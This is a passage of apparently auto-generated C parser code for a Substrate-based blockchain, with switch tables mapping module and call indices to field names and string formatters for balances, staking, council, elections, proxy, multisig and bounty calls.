2561: /* module 10 call 1 */ switch (itemIdx) { default: return NULL; } case 2816: /* module 11 call 0 */ switch (itemIdx) { case 0: return STR_IT_new_members; case 1: return STR_IT_prime; case 2: return STR_IT_old_count; default: return NULL; } case 2817: /* module 11 call 1 */ switch (itemIdx) { case 0: return STR_IT_proposal; case 1: return STR_IT_length_bound; default: return NULL; } case 2818: /* module 11 call 2 */ switch (itemIdx) { case 0: return STR_IT_threshold; case 1: return STR_IT_proposal; case 2: return STR_IT_length_bound; default: return NULL; } case 2819: /* module 11 call 3 */ switch (itemIdx) { case 0: return STR_IT_proposal; case 1: return STR_IT_index; case 2: return STR_IT_approve; default: return NULL; } case 2820: /* module 11 call 4 */ switch (itemIdx) { case 0: return STR_IT_proposal_hash; case 1: return STR_IT_index; case 2: return STR_IT_proposal_weight_bound; case 3: return STR_IT_length_bound; default: return NULL; } case 2821: /* module 11 call 5 */ switch (itemIdx) { case 0: return STR_IT_proposal_hash; default: return NULL; } case 3072: /* module 12 call 0 */ switch (itemIdx) { case 0: return STR_IT_new_members; case 1: return STR_IT_prime; case 2: return STR_IT_old_count; default: return NULL; } case 3073: /* module 12 call 1 */ switch (itemIdx) { case 0: return STR_IT_proposal; case 1: return STR_IT_length_bound; default: return NULL; } case 3074: /* module 12 call 2 */ switch (itemIdx) { case 0: return STR_IT_threshold; case 1: return STR_IT_proposal; case 2: return STR_IT_length_bound; default: return NULL; } case 3075: /* module 12 call 3 */ switch (itemIdx) { case 0: return STR_IT_proposal; case 1: return STR_IT_index; case 2: return STR_IT_approve; default: return NULL; } case 3076: /* module 12 call 4 */ switch (itemIdx) { case 0: return STR_IT_proposal_hash; case 1: return STR_IT_index; case 2: return STR_IT_proposal_weight_bound; case 3: return STR_IT_length_bound; default: return NULL; } case 3077: /* module 12 call 5 */ switch (itemIdx) { case 0: return STR_IT_proposal_hash; default: return NULL; } case 3328: /* module 13 call 0 */ switch (itemIdx) { case 0: return STR_IT_votes; case 1: return STR_IT_value; default: return NULL; } case 3329: /* module 13 call 1 */ switch (itemIdx) { default: return NULL; } case 3330: /* module 13 call 2 */ switch (itemIdx) { case 0: return STR_IT_candidate_count; default: return NULL; } case 3332: /* module 13 call 4 */ switch (itemIdx) { case 0: return STR_IT_who; case 1: return STR_IT_has_replacement; default: return NULL; } case 3333: /* module 13 call 5 */ switch (itemIdx) { case 0: return STR_IT__num_voters; case 1: return STR_IT__num_defunct; default: return NULL; } case 3584: /* module 14 call 0 */ switch (itemIdx) { case 0: return STR_IT_who; default: return NULL; } case 3585: /* module 14 call 1 */ switch (itemIdx) { case 0: return STR_IT_who; default: return NULL; } case 3586: /* module 14 call 2 */ switch (itemIdx) { case 0: return STR_IT_remove; case 1: return STR_IT_add; default: return NULL; } case 3587: /* module 14 call 3 */ switch (itemIdx) { case 0: return STR_IT_members; default: return NULL; } case 3588: /* module 14 call 4 */ switch (itemIdx) { case 0: return STR_IT_new_; default: return NULL; } case 3589: /* module 14 call 5 */ switch (itemIdx) { case 0: return STR_IT_who; default: return NULL; } case 3590: /* module 14 call 6 */ switch (itemIdx) { default: return NULL; } case 3842: /* module 15 call 2 */ switch (itemIdx) { case 0: return STR_IT_delay; case 1: return STR_IT_best_finalized_block_number; default: return NULL; } case 4096: /* module 16 call 0 */ switch (itemIdx) { case 0: return STR_IT_value; case 1: return STR_IT_beneficiary; default: return NULL; } case 4097: /* module 16 call 1 */ switch (itemIdx) { case 0: return STR_IT_proposal_id; default: return NULL; } case 4098: /* module 16 call 2 */ switch (itemIdx) { case 0: return STR_IT_proposal_id; default: return NULL; } case 4352: /* module 17 call 0 */ switch (itemIdx) { case 0: return STR_IT_call; default: return NULL; } case 4353: /* module 17 call 1 */ switch (itemIdx) { case 0: return STR_IT_call; case 1: return STR_IT__weight; default: return NULL; } case 4354: /* module 17 call 2 */ switch (itemIdx) { case 0: return STR_IT_new_; default: return NULL; } case 4355: /* module 17 call 3 */ switch (itemIdx) { case 0: return STR_IT_who; case 1: return STR_IT_call; default: return NULL; } case 5632: /* module 22 call 0 */ switch (itemIdx) { case 0: return STR_IT_account; default: return NULL; } case 5635: /* module 22 call 3 */ switch (itemIdx) { default: return NULL; } case 5636: /* module 22 call 4 */ switch (itemIdx) { case 0: return STR_IT_reg_index; case 1: return STR_IT_max_fee; default: return NULL; } case 5637: /* module 22 call 5 */ switch (itemIdx) { case 0: return STR_IT_reg_index; default: return NULL; } case 5638: /* module 22 call 6 */ switch (itemIdx) { case 0: return STR_IT_index; case 1: return STR_IT_fee; default: return NULL; } case 5639: /* module 22 call 7 */ switch (itemIdx) { case 0: return STR_IT_index; case 1: return STR_IT_new_; default: return NULL; } case 5642: /* module 22 call 10 */ switch (itemIdx) { case 0: return STR_IT_target; default: return NULL; } case 5645: /* module 22 call 13 */ switch (itemIdx) { case 0: return STR_IT_sub; default: return NULL; } case 5646: /* module 22 call 14 */ switch (itemIdx) { default: return NULL; } case 5889: /* module 23 call 1 */ switch (itemIdx) { case 0: return STR_IT_lost; case 1: return STR_IT_rescuer; default: return NULL; } case 5891: /* module 23 call 3 */ switch (itemIdx) { case 0: return STR_IT_account; default: return NULL; } case 5892: /* module 23 call 4 */ switch (itemIdx) { case 0: return STR_IT_lost; case 1: return STR_IT_rescuer; default: return NULL; } case 5893: /* module 23 call 5 */ switch (itemIdx) { case 0: return STR_IT_account; default: return NULL; } case 5894: /* module 23 call 6 */ switch (itemIdx) { case 0: return STR_IT_rescuer; default: return NULL; } case 5895: /* module 23 call 7 */ switch (itemIdx) { default: return NULL; } case 5896: /* module 23 call 8 */ switch (itemIdx) { case 0: return STR_IT_account; default: return NULL; } case 6400: /* module 25 call 0 */ switch (itemIdx) { case 0: return STR_IT_real; case 1: return STR_IT_force_proxy_type; case 2: return STR_IT_call; default: return NULL; } case 6401: /* module 25 call 1 */ switch (itemIdx) { case 0: return STR_IT_delegate; case 1: return STR_IT_proxy_type; case 2: return STR_IT_delay; default: return NULL; } case 6402: /* module 25 call 2 */ switch (itemIdx) { case 0: return STR_IT_delegate; case 1: return STR_IT_proxy_type; case 2: return STR_IT_delay; default: return NULL; } case 6403: /* module 25 call 3 */ switch (itemIdx) { default: return NULL; } case 6404: /* module 25 call 4 */ switch (itemIdx) { case 0: return STR_IT_proxy_type; case 1: return STR_IT_delay; case 2: return STR_IT_index; default: return NULL; } case 6405: /* module 25 call 5 */ switch (itemIdx) { case 0: return STR_IT_spawner; case 1: return STR_IT_proxy_type; case 2: return STR_IT_index; case 3: return STR_IT_height; case 4: return STR_IT_ext_index; default: return NULL; } case 6406: /* module 25 call 6 */ switch (itemIdx) { case 0: return STR_IT_real; case 1: return STR_IT_call_hash; default: return NULL; } case 6407: /* module 25 call 7 */ switch (itemIdx) { case 0: return STR_IT_real; case 1: return STR_IT_call_hash; default: return NULL; } case 6408: /* module 25 call 8 */ switch (itemIdx) { case 0: return STR_IT_delegate; case 1: return STR_IT_call_hash; default: return NULL; } case 6409: /* module 25 call 9 */ switch (itemIdx) { case 0: return STR_IT_delegate; case 1: return STR_IT_real; case 2: return STR_IT_force_proxy_type; case 3: return STR_IT_call; default: return NULL; } case 6656: /* module 26 call 0 */ switch (itemIdx) { case 0: return STR_IT_other_signatories; case 1: return STR_IT_call; default: return NULL; } case 6657: /* module 26 call 1 */ switch (itemIdx) { case 0: return STR_IT_threshold; case 1: return STR_IT_other_signatories; case 2: return STR_IT_maybe_timepoint; case 3: return STR_IT_call; case 4: return STR_IT_store_call; case 5: return STR_IT_max_weight; default: return NULL; } case 6658: /* module 26 call 2 */ switch (itemIdx) { case 0: return STR_IT_threshold; case 1: return STR_IT_other_signatories; case 2: return STR_IT_maybe_timepoint; case 3: return STR_IT_call_hash; case 4: return STR_IT_max_weight; default: return NULL; } case 6659: /* module 26 call 3 */ switch (itemIdx) { case 0: return STR_IT_threshold; case 1: return STR_IT_other_signatories; case 2: return STR_IT_timepoint; case 3: return STR_IT_call_hash; default: return NULL; } case 6912: /* module 27 call 0 */ switch (itemIdx) { case 0: return STR_IT_value; case 1: return STR_IT_description; default: return NULL; } case 6913: /* module 27 call 1 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; default: return NULL; } case 6914: /* module 27 call 2 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; case 1: return STR_IT_curator; case 2: return STR_IT_fee; default: return NULL; } case 6915: /* module 27 call 3 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; default: return NULL; } case 6916: /* module 27 call 4 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; default: return NULL; } case 6917: /* module 27 call 5 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; case 1: return STR_IT_beneficiary; default: return NULL; } case 6918: /* module 27 call 6 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; default: return NULL; } case 6919: /* module 27 call 7 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; default: return NULL; } case 6920: /* module 27 call 8 */ switch (itemIdx) { case 0: return STR_IT_bounty_id; case 1: return STR_IT__remark; default: return NULL; } case 7168: /* module 28 call 0 */ switch (itemIdx) { default: return NULL; } case 7171: /* module 28 call 3 */ switch (itemIdx) { case 0: return STR_IT_dest; default: return NULL; } case 7424: /* module 29 call 0 */ switch (itemIdx) { case 0: return STR_IT_status; default: return NULL; } case 7425: /* module 29 call 1 */ switch (itemIdx) { case 0: return STR_IT_relayer; case 1: return STR_IT_status; default: return NULL; } case 7426: /* module 29 call 2 */ switch (itemIdx) { case 0: return STR_IT_beneficiary; case 1: return STR_IT_amount; case 2: return STR_IT_eth_tx; default: return NULL; } case 7427: /* module 29 call 3 */ switch (itemIdx) { default: return NULL; } case 7428: /* module 29 call 4 */ switch (itemIdx) { case 0: return STR_IT_beneficiary; default: return NULL; } #endif default: return NULL; } return NULL; } parser_error_t _getMethod_ItemValue_V2( pd_Method_V2_t* m, uint8_t moduleIdx, uint8_t callIdx, uint8_t itemIdx, char* outValue, uint16_t outValueLen, uint8_t pageIdx, uint8_t* pageCount) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 1536: /* module 6 call 0 */ switch (itemIdx) { case 0: /* balances_transfer_V2 - dest */; return _toStringLookupSource_V2( &m->nested.balances_transfer_V2.dest, outValue, outValueLen, pageIdx, pageCount); case 1: /* balances_transfer_V2 - value */; return _toStringCompactBalance( &m->nested.balances_transfer_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2304: /* module 9 call 0 */ switch (itemIdx) { case 0: /* staking_bond_V2 - controller */; return _toStringLookupSource_V2( &m->basic.staking_bond_V2.controller, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_bond_V2 - value */; return _toStringCompactBalanceOf( &m->basic.staking_bond_V2.value, outValue, outValueLen, pageIdx, pageCount); case 2: /* staking_bond_V2 - payee */; return _toStringRewardDestination_V2( &m->basic.staking_bond_V2.payee, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2306: /* module 9 call 2 */ switch (itemIdx) { case 0: /* staking_unbond_V2 - value */; return _toStringCompactBalanceOf( &m->basic.staking_unbond_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2308: /* module 9 call 4 */ switch (itemIdx) { case 0: /* staking_validate_V2 - prefs */; return _toStringValidatorPrefs_V2( &m->basic.staking_validate_V2.prefs, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2309: /* module 9 call 5 */ switch (itemIdx) { case 0: /* staking_nominate_V2 - targets */; return _toStringVecLookupSource_V2( &m->basic.staking_nominate_V2.targets, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2310: /* module 9 call 6 */ switch (itemIdx) { default: return parser_no_data; } case 2323: /* module 9 call 19 */ switch (itemIdx) { case 0: /* staking_rebond_V2 - value */; return _toStringCompactBalanceOf( &m->basic.staking_rebond_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } #ifdef SUBSTRATE_PARSER_FULL case 0: /* module 0 call 0 */ switch (itemIdx) { case 0: /* system_fill_block_V2 - _ratio */; return _toStringPerbill_V2( &m->nested.system_fill_block_V2._ratio, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1: /* module 0 call 1 */ switch (itemIdx) { case 0: /* system_remark_V2 - _remark */; return _toStringBytes( &m->nested.system_remark_V2._remark, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2: /* module 0 call 2 */ switch (itemIdx) { case 0: /* system_set_heap_pages_V2 - pages */; return _toStringu64( &m->nested.system_set_heap_pages_V2.pages, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3: /* module 0 call 3 */ switch (itemIdx) { case 0: /* system_set_code_V2 - code */; return _toStringBytes( &m->nested.system_set_code_V2.code, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 4: /* module 0 call 4 */ switch (itemIdx) { case 0: /* system_set_code_without_checks_V2 - code */; return _toStringBytes( &m->nested.system_set_code_without_checks_V2.code, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 9: /* module 0 call 9 */ switch (itemIdx) { case 0: /* system_remark_with_event_V2 - remark */; return _toStringBytes( &m->basic.system_remark_with_event_V2.remark, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 768: /* module 3 call 0 */ switch (itemIdx) { case 0: /* timestamp_set_V2 - now */; return _toStringCompactMoment_V2( &m->basic.timestamp_set_V2.now, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1280: /* module 5 call 0 */ switch (itemIdx) { case 0: /* indices_claim_V2 - index */; return _toStringAccountIndex_V2( &m->basic.indices_claim_V2.index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1282: /* module 5 call 2 */ switch (itemIdx) { case 0: /* indices_free_V2 - index */; return _toStringAccountIndex_V2( &m->basic.indices_free_V2.index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1283: /* module 5 call 3 */ switch (itemIdx) { case 0: /* indices_force_transfer_V2 - new_ */; return _toStringAccountId_V2( &m->basic.indices_force_transfer_V2.new_, outValue, outValueLen, pageIdx, pageCount); case 1: /* indices_force_transfer_V2 - index */; return _toStringAccountIndex_V2( &m->basic.indices_force_transfer_V2.index, outValue, outValueLen, pageIdx, pageCount); case 2: /* indices_force_transfer_V2 - freeze */; return _toStringbool( &m->basic.indices_force_transfer_V2.freeze, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1284: /* module 5 call 4 */ switch (itemIdx) { case 0: /* indices_freeze_V2 - index */; return _toStringAccountIndex_V2( &m->basic.indices_freeze_V2.index, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1537: /* module 6 call 1 */ switch (itemIdx) { case 0: /* balances_set_balance_V2 - who */; return _toStringLookupSource_V2( &m->nested.balances_set_balance_V2.who, outValue, outValueLen, pageIdx, pageCount); case 1: /* balances_set_balance_V2 - new_free */; return _toStringCompactBalance( &m->nested.balances_set_balance_V2.new_free, outValue, outValueLen, pageIdx, pageCount); case 2: /* balances_set_balance_V2 - new_reserved */; return _toStringCompactBalance( &m->nested.balances_set_balance_V2.new_reserved, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1538: /* module 6 call 2 */ switch (itemIdx) { case 0: /* balances_force_transfer_V2 - source */; return _toStringLookupSource_V2( &m->nested.balances_force_transfer_V2.source, outValue, outValueLen, pageIdx, pageCount); case 1: /* balances_force_transfer_V2 - dest */; return _toStringLookupSource_V2( &m->nested.balances_force_transfer_V2.dest, outValue, outValueLen, pageIdx, pageCount); case 2: /* balances_force_transfer_V2 - value */; return _toStringCompactBalance( &m->nested.balances_force_transfer_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1539: /* module 6 call 3 */ switch (itemIdx) { case 0: /* balances_transfer_keep_alive_V2 - dest */; return _toStringLookupSource_V2( &m->nested.balances_transfer_keep_alive_V2.dest, outValue, outValueLen, pageIdx, pageCount); case 1: /* balances_transfer_keep_alive_V2 - value */; return _toStringCompactBalance( &m->nested.balances_transfer_keep_alive_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 1540: /* module 6 call 4 */ switch (itemIdx) { case 0: /* balances_transfer_all_V2 - dest */; return _toStringLookupSource_V2( &m->basic.balances_transfer_all_V2.dest, outValue, outValueLen, pageIdx, pageCount); case 1: /* balances_transfer_all_V2 - keep_alive */; return _toStringbool( &m->basic.balances_transfer_all_V2.keep_alive, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2305: /* module 9 call 1 */ switch (itemIdx) { case 0: /* staking_bond_extra_V2 - max_additional */; return _toStringCompactBalanceOf( &m->basic.staking_bond_extra_V2.max_additional, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2307: /* module 9 call 3 */ switch (itemIdx) { case 0: /* staking_withdraw_unbonded_V2 - num_slashing_spans */; return _toStringu32( &m->basic.staking_withdraw_unbonded_V2.num_slashing_spans, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2311: /* module 9 call 7 */ switch (itemIdx) { case 0: /* staking_set_payee_V2 - payee */; return _toStringRewardDestination_V2( &m->basic.staking_set_payee_V2.payee, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2312: /* module 9 call 8 */ switch (itemIdx) { case 0: /* staking_set_controller_V2 - controller */; return _toStringLookupSource_V2( &m->basic.staking_set_controller_V2.controller, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2313: /* module 9 call 9 */ switch (itemIdx) { case 0: /* staking_set_validator_count_V2 - new_ */; return _toStringCompactu32( &m->basic.staking_set_validator_count_V2.new_, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2314: /* module 9 call 10 */ switch (itemIdx) { case 0: /* staking_increase_validator_count_V2 - additional */; return _toStringCompactu32( &m->basic.staking_increase_validator_count_V2.additional, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2316: /* module 9 call 12 */ switch (itemIdx) { default: return parser_no_data; } case 2317: /* module 9 call 13 */ switch (itemIdx) { default: return parser_no_data; } case 2318: /* module 9 call 14 */ switch (itemIdx) { case 0: /* staking_set_invulnerables_V2 - invulnerables */; return _toStringVecAccountId_V2( &m->basic.staking_set_invulnerables_V2.invulnerables, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2319: /* module 9 call 15 */ switch (itemIdx) { case 0: /* staking_force_unstake_V2 - stash */; return _toStringAccountId_V2( &m->basic.staking_force_unstake_V2.stash, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_force_unstake_V2 - num_slashing_spans */; return _toStringu32( &m->basic.staking_force_unstake_V2.num_slashing_spans, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2320: /* module 9 call 16 */ switch (itemIdx) { default: return parser_no_data; } case 2321: /* module 9 call 17 */ switch (itemIdx) { case 0: /* staking_cancel_deferred_slash_V2 - era */; return _toStringEraIndex_V2( &m->basic.staking_cancel_deferred_slash_V2.era, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_cancel_deferred_slash_V2 - slash_indices */; return _toStringVecu32( &m->basic.staking_cancel_deferred_slash_V2.slash_indices, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2322: /* module 9 call 18 */ switch (itemIdx) { case 0: /* staking_payout_stakers_V2 - validator_stash */; return _toStringAccountId_V2( &m->basic.staking_payout_stakers_V2.validator_stash, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_payout_stakers_V2 - era */; return _toStringEraIndex_V2( &m->basic.staking_payout_stakers_V2.era, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2324: /* module 9 call 20 */ switch (itemIdx) { case 0: /* staking_set_history_depth_V2 - new_history_depth */; return _toStringCompactEraIndex_V2( &m->basic.staking_set_history_depth_V2.new_history_depth, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_set_history_depth_V2 - _era_items_deleted */; return _toStringCompactu32( &m->basic.staking_set_history_depth_V2._era_items_deleted, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2325: /* module 9 call 21 */ switch (itemIdx) { case 0: /* staking_reap_stash_V2 - stash */; return _toStringAccountId_V2( &m->basic.staking_reap_stash_V2.stash, outValue, outValueLen, pageIdx, pageCount); case 1: /* staking_reap_stash_V2 - num_slashing_spans */; return _toStringu32( &m->basic.staking_reap_stash_V2.num_slashing_spans, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2328: /* module 9 call 24 */ switch (itemIdx) { case 0: /* staking_chill_other_V2 - controller */; return _toStringAccountId_V2( &m->basic.staking_chill_other_V2.controller, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2560: /* module 10 call 0 */ switch (itemIdx) { case 0: /* session_set_keys_V2 - keys */; return _toStringKeys_V2( &m->basic.session_set_keys_V2.keys, outValue, outValueLen, pageIdx, pageCount); case 1: /* session_set_keys_V2 - proof */; return _toStringBytes( &m->basic.session_set_keys_V2.proof, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2561: /* module 10 call 1 */ switch (itemIdx) { default: return parser_no_data; } case 2816: /* module 11 call 0 */ switch (itemIdx) { case 0: /* council_set_members_V2 - new_members */; return _toStringVecAccountId_V2( &m->basic.council_set_members_V2.new_members, outValue, outValueLen, pageIdx, pageCount); case 1: /* council_set_members_V2 - prime */; return _toStringOptionAccountId_V2( &m->basic.council_set_members_V2.prime, outValue, outValueLen, pageIdx, pageCount); case 2: /* council_set_members_V2 - old_count */; return _toStringMemberCount_V2( &m->basic.council_set_members_V2.old_count, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2817: /* module 11 call 1 */ switch (itemIdx) { case 0: /* council_execute_V2 - proposal */; return _toStringProposal( &m->basic.council_execute_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 1: /* council_execute_V2 - length_bound */; return _toStringCompactu32( &m->basic.council_execute_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2818: /* module 11 call 2 */ switch (itemIdx) { case 0: /* council_propose_V2 - threshold */; return _toStringCompactMemberCount_V2( &m->basic.council_propose_V2.threshold, outValue, outValueLen, pageIdx, pageCount); case 1: /* council_propose_V2 - proposal */; return _toStringProposal( &m->basic.council_propose_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 2: /* council_propose_V2 - length_bound */; return _toStringCompactu32( &m->basic.council_propose_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2819: /* module 11 call 3 */ switch (itemIdx) { case 0: /* council_vote_V2 - proposal */; return _toStringHash( &m->basic.council_vote_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 1: /* council_vote_V2 - index */; return _toStringCompactProposalIndex_V2( &m->basic.council_vote_V2.index, outValue, outValueLen, pageIdx, pageCount); case 2: /* council_vote_V2 - approve */; return _toStringbool( &m->basic.council_vote_V2.approve, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2820: /* module 11 call 4 */ switch (itemIdx) { case 0: /* council_close_V2 - proposal_hash */; return _toStringHash( &m->basic.council_close_V2.proposal_hash, outValue, outValueLen, pageIdx, pageCount); case 1: /* council_close_V2 - index */; return _toStringCompactProposalIndex_V2( &m->basic.council_close_V2.index, outValue, outValueLen, pageIdx, pageCount); case 2: /* council_close_V2 - proposal_weight_bound */; return _toStringCompactWeight_V2( &m->basic.council_close_V2.proposal_weight_bound, outValue, outValueLen, pageIdx, pageCount); case 3: /* council_close_V2 - length_bound */; return _toStringCompactu32( &m->basic.council_close_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 2821: /* module 11 call 5 */ switch (itemIdx) { case 0: /* council_disapprove_proposal_V2 - proposal_hash */; return _toStringHash( &m->basic.council_disapprove_proposal_V2.proposal_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3072: /* module 12 call 0 */ switch (itemIdx) { case 0: /* technicalcommittee_set_members_V2 - new_members */; return _toStringVecAccountId_V2( &m->basic.technicalcommittee_set_members_V2.new_members, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalcommittee_set_members_V2 - prime */; return _toStringOptionAccountId_V2( &m->basic.technicalcommittee_set_members_V2.prime, outValue, outValueLen, pageIdx, pageCount); case 2: /* technicalcommittee_set_members_V2 - old_count */; return _toStringMemberCount_V2( &m->basic.technicalcommittee_set_members_V2.old_count, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3073: /* module 12 call 1 */ switch (itemIdx) { case 0: /* technicalcommittee_execute_V2 - proposal */; return _toStringProposal( &m->basic.technicalcommittee_execute_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalcommittee_execute_V2 - length_bound */; return _toStringCompactu32( &m->basic.technicalcommittee_execute_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3074: /* module 12 call 2 */ switch (itemIdx) { case 0: /* technicalcommittee_propose_V2 - threshold */; return _toStringCompactMemberCount_V2( &m->basic.technicalcommittee_propose_V2.threshold, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalcommittee_propose_V2 - proposal */; return _toStringProposal( &m->basic.technicalcommittee_propose_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 2: /* technicalcommittee_propose_V2 - length_bound */; return _toStringCompactu32( &m->basic.technicalcommittee_propose_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3075: /* module 12 call 3 */ switch (itemIdx) { case 0: /* technicalcommittee_vote_V2 - proposal */; return _toStringHash( &m->basic.technicalcommittee_vote_V2.proposal, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalcommittee_vote_V2 - index */; return _toStringCompactProposalIndex_V2( &m->basic.technicalcommittee_vote_V2.index, outValue, outValueLen, pageIdx, pageCount); case 2: /* technicalcommittee_vote_V2 - approve */; return _toStringbool( &m->basic.technicalcommittee_vote_V2.approve, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3076: /* module 12 call 4 */ switch (itemIdx) { case 0: /* technicalcommittee_close_V2 - proposal_hash */; return _toStringHash( &m->basic.technicalcommittee_close_V2.proposal_hash, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalcommittee_close_V2 - index */; return _toStringCompactProposalIndex_V2( &m->basic.technicalcommittee_close_V2.index, outValue, outValueLen, pageIdx, pageCount); case 2: /* technicalcommittee_close_V2 - proposal_weight_bound */; return _toStringCompactWeight_V2( &m->basic.technicalcommittee_close_V2.proposal_weight_bound, outValue, outValueLen, pageIdx, pageCount); case 3: /* technicalcommittee_close_V2 - length_bound */; return _toStringCompactu32( &m->basic.technicalcommittee_close_V2.length_bound, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3077: /* module 12 call 5 */ switch (itemIdx) { case 0: /* technicalcommittee_disapprove_proposal_V2 - proposal_hash */; return _toStringHash( &m->basic.technicalcommittee_disapprove_proposal_V2.proposal_hash, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3328: /* module 13 call 0 */ switch (itemIdx) { case 0: /* elections_vote_V2 - votes */; return _toStringVecAccountId_V2( &m->basic.elections_vote_V2.votes, outValue, outValueLen, pageIdx, pageCount); case 1: /* elections_vote_V2 - value */; return _toStringCompactBalanceOf( &m->basic.elections_vote_V2.value, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3329: /* module 13 call 1 */ switch (itemIdx) { default: return parser_no_data; } case 3330: /* module 13 call 2 */ switch (itemIdx) { case 0: /* elections_submit_candidacy_V2 - candidate_count */; return _toStringCompactu32( &m->basic.elections_submit_candidacy_V2.candidate_count, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3332: /* module 13 call 4 */ switch (itemIdx) { case 0: /* elections_remove_member_V2 - who */; return _toStringLookupSource_V2( &m->basic.elections_remove_member_V2.who, outValue, outValueLen, pageIdx, pageCount); case 1: /* elections_remove_member_V2 - has_replacement */; return _toStringbool( &m->basic.elections_remove_member_V2.has_replacement, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3333: /* module 13 call 5 */ switch (itemIdx) { case 0: /* elections_clean_defunct_voters_V2 - _num_voters */; return _toStringu32( &m->basic.elections_clean_defunct_voters_V2._num_voters, outValue, outValueLen, pageIdx, pageCount); case 1: /* elections_clean_defunct_voters_V2 - _num_defunct */; return _toStringu32( &m->basic.elections_clean_defunct_voters_V2._num_defunct, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3584: /* module 14 call 0 */ switch (itemIdx) { case 0: /* technicalmembership_add_member_V2 - who */; return _toStringAccountId_V2( &m->basic.technicalmembership_add_member_V2.who, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3585: /* module 14 call 1 */ switch (itemIdx) { case 0: /* technicalmembership_remove_member_V2 - who */; return _toStringAccountId_V2( &m->basic.technicalmembership_remove_member_V2.who, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3586: /* module 14 call 2 */ switch (itemIdx) { case 0: /* technicalmembership_swap_member_V2 - remove */; return _toStringAccountId_V2( &m->basic.technicalmembership_swap_member_V2.remove, outValue, outValueLen, pageIdx, pageCount); case 1: /* technicalmembership_swap_member_V2 - add */; return _toStringAccountId_V2( &m->basic.technicalmembership_swap_member_V2.add, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3587: /* module 14 call 3 */ switch (itemIdx) { case 0: /* technicalmembership_reset_members_V2 - members */; return _toStringVecAccountId_V2( &m->basic.technicalmembership_reset_members_V2.members, outValue, outValueLen, pageIdx, pageCount); default: return parser_no_data; } case 3588: /* module 14 